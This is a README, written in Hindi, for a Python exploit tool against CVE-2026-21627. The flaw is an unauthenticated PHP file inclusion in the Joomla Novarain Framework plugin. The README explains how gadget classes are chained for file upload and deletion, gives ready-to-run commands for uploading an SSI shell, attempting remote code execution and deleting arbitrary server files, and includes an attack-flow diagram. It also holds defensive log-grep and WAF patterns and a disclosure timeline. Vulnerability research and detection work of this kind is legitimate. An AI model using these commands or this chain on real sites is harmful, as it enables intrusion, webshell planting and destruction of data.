
Python एक्सप्लॉइट CVE-2026-21627 के लिए, जो Joomla के Novarain Framework में एक बिना प्रमाणीकरण के मनमाना PHP फ़ाइल समावेशन है, जो फ़ाइल अपलोड, डिलीट और RCE को सक्षम बनाता है।
Joomla के Novarain Framework (nrframework) में अनप्रमाणित मनमाना फ़ाइल समावेशन
Tassos/Novarain Framework (plg_system_nrframework) Joomla प्लगइन में एक गंभीर भेद्यता अनप्रमाणित हमलावरों को सर्वर पर मनमानी PHP फ़ाइलें शामिल करने, मनमाने क्लास इंस्टैंशिएट करने और बिल्ट-इन गैजेट क्लास के साथ चेन करके मनमाना फ़ाइल अपलोड और मनमाना फ़ाइल विलोपन प्राप्त करने की अनुमति देती है — यह सब बिना प्रमाणीकरण के।
| CVE ID | CVE-2026-21627 |
| CVSS स्कोर | 9.5 (गंभीर) |
| प्लगइन | plg_system_nrframework (Tassos Framework / Novarain Framework) |
| प्रभावित संस्करण | 4.10.14 से 6.0.37 |
| सुधारित संस्करण | 6.0.38+ |
| CMS | Joomla 3.x, 4.x, 5.x |
nrframework प्लगइन Tassos.gr के कई लोकप्रिय Joomla एक्सटेंशन के साथ बंडल किया जाता है, जिनमें Convert Forms, Engage Box, Google Structured Data और अन्य शामिल हैं।
nrframework.php में ajaxTaskInclude() विधि को $non_admin_tasks ऐरे के माध्यम से फ्रंटएंड (गैर-एडमिन) एक्सेस के लिए स्पष्ट रूप से व्हाइटलिस्ट किया गया है। यह तीन उपयोगकर्ता-नियंत्रित पैरामीटर स्वीकार करता है:
path — RAW इनपुट फ़िल्टर का उपयोग करता है (शून्य सैनिटाइज़ेशन, पाथ ट्रैवर्सल संभव)file — डिफ़ॉल्ट Joomla इनपुट फ़िल्टर का उपयोग करता हैclass — समावेशन के बाद इंस्टैंशिएट करने के लिए क्लास का नामसंयोजित पाथ $path . $file . '.php' सीधे @include_once को पास किया जाता है, जिससे मनमाना PHP फ़ाइल समावेशन संभव होता है। समावेशन के बाद, निर्दिष्ट क्लास इंस्टैंशिएट की जाती है और उसकी onAJAX() विधि उपयोगकर्ता-नियंत्रित पैरामीटर के साथ कॉल की जाती है।
| प्रिमिटिव | गैजेट | गंभीरता | विवरण |
|---|---|---|---|
| फ़ाइल समावेशन | ajaxTaskInclude() | गंभीर | सर्वर पर कोई भी .php फ़ाइल शामिल करें |
| फ़ाइल विलोपन | JFormFieldNRInlineFileUpload::onRemove() | गंभीर | बिना पाथ सत्यापन के unlink() — वेब सर्वर द्वारा लिखने योग्य कोई भी फ़ाइल हटाएं |
| फ़ाइल अपलोड | JFormFieldNRInlineFileUpload::onUpload() | उच्च | किसी भी लिखने योग्य वेब-सुलभ निर्देशिका में टेक्स्ट फ़ाइलें अपलोड करें |
| पाथ प्रकटीकरण | अपलोड प्रतिक्रिया | मध्यम | JSON प्रतिक्रिया में पूर्ण फ़ाइलसिस्टम पाथ लीक |
python3 cve_2026_21627.py --target <URL> --mode <MODE> [OPTIONS]
| मोड | विवरण | जोखिम |
|---|---|---|
verify | भेद्यता के अस्तित्व की पुष्टि करें | सुरक्षित / केवल-पठन |
upload | नियंत्रित निर्देशिका में फ़ाइल अपलोड करें | मध्यम |
delete | सर्वर पर मनमानी फ़ाइल हटाएं | विनाशकारी |
rce | पूर्ण RCE चेन का प्रयास करें (अपलोड + निष्पादन) | उच्च |
info | रिकॉन के लिए मनमानी PHP फ़ाइल शामिल करें | मध्यम |
भेद्यता सत्यापित करें:
python3 cve_2026_21627.py --target https://example.com --mode verify
प्रूफ-ऑफ-कॉन्सेप्ट फ़ाइल अपलोड करें:
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt
SSI शेल अपलोड करें (Apache mod_include आवश्यक):
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml
RCE चेन का प्रयास करें:
python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"
फ़ाइल हटाएं (विनाशकारी):
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt
--target, -t लक्ष्य URL (आवश्यक)
--mode, -m एक्सप्लॉइट मोड: verify|upload|delete|rce|info (आवश्यक)
--sef-prefix Joomla SEF URL उपसर्ग (डिफ़ॉल्ट: /it/)
--delay अनुरोधों के बीच देरी सेकंड में (डिफ़ॉल्ट: 2.5)
--proxy HTTP प्रॉक्सी (जैसे http://127.0.0.1:8080)
--no-ssl-verify SSL प्रमाणपत्र सत्यापन अक्षम करें
अपलोड मोड:
--shell-type फ़ाइल प्रकार: shtml|csv|txt|html (डिफ़ॉल्ट: shtml)
--upload-dir JPATH_ROOT के सापेक्ष अपलोड निर्देशिका (डिफ़ॉल्ट: images)
--custom-content अपलोड करने के लिए कस्टम फ़ाइल सामग्री
विलोपन मोड:
--file-path हटाने के लिए फ़ाइल का पूर्ण सर्वर पाथ
RCE मोड:
--cmd निष्पादित करने के लिए कमांड (डिफ़ॉल्ट: id)
जानकारी मोड:
--php-path JPATH_SITE के सापेक्ष PHP फ़ाइल पाथ
--php-file .php एक्सटेंशन के बिना PHP फ़ाइल का नाम
--php-class इंस्टैंशिएट करने के लिए PHP क्लास
┌──────────────┐ ┌───────────────────┐ ┌─────────────────────┐
│ Attacker │───>│ onAjaxNrframework │───>│ ajaxTaskInclude() │
│ │ │ (AJAX router) │ │ │
│ task=include │ │ include is in │ │ path = RAW input │
│ path=... │ │ $non_admin_tasks │ │ @include_once $path │
│ file=... │ │ (no auth needed) │ │ new $class()->onAJAX│
│ class=... │ └───────────────────┘ └──────────┬──────────┘
└──────────────┘ │
v
┌─────────────────────────────────────┐
│ JFormFieldNRInlineFileUpload │
│ (gadget class) │
│ │
│ onAjax() ──> onUpload() [WRITE] │
│ ──> onRemove() [DELETE] │
└─────────────────────────────────────┘
include कार्य को नियंत्रित path (RAW फ़िल्टर = कोई सैनिटाइज़ेशन नहीं) के साथ कॉल किया जाता है जो गैजेट फ़ाइल की ओर इंगित करता है।JFormFieldNRInlineFileUpload क्लास फ़ाइल लेखन के लिए onUpload() और फ़ाइल विलोपन के लिए onRemove() प्रदान करती है, दोनों में अपर्याप्त इनपुट सत्यापन होता है।requests लाइब्रेरीpip install requests
एक्सप्लॉइटेशन प्रयासों के लिए एक्सेस लॉग की निगरानी करें:
# Apache/Nginx लॉग पैटर्न
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log
WAF नियम — निम्न से मेल खाने वाले अनुरोधों को ब्लॉक करें:
option=com_ajax.*plugin=nrframework.*task=include.*path=
समझौते के बाद ऑडिट:
images/ और अन्य लिखने योग्य निर्देशिकाओं की जाँच करेंconfiguration.php और .htaccess की अखंडता सत्यापित करें@include_once चेतावनियों के लिए सर्वर त्रुटि लॉग की समीक्षा करेंajaxTaskInclude() को पूरी तरह से हटा देता है और इसे एक सख्त हैंडलर रजिस्ट्री (AjaxHandlerRegistry) से बदल देता है| दिनांक | घटना |
|---|---|
| 2026-02 | अधिकृत पेनेट्रेशन परीक्षण के दौरान भेद्यता की खोज |
| 2026-02 | एक्सप्लॉइट का निर्माण |
| 2026-02 | सार्वजनिक प्रकटीकरण |
यह टूल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इस एक्सप्लॉइट का उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानता है।
Yallasec — yallasec.com
Arcangelo Saracino — @arkango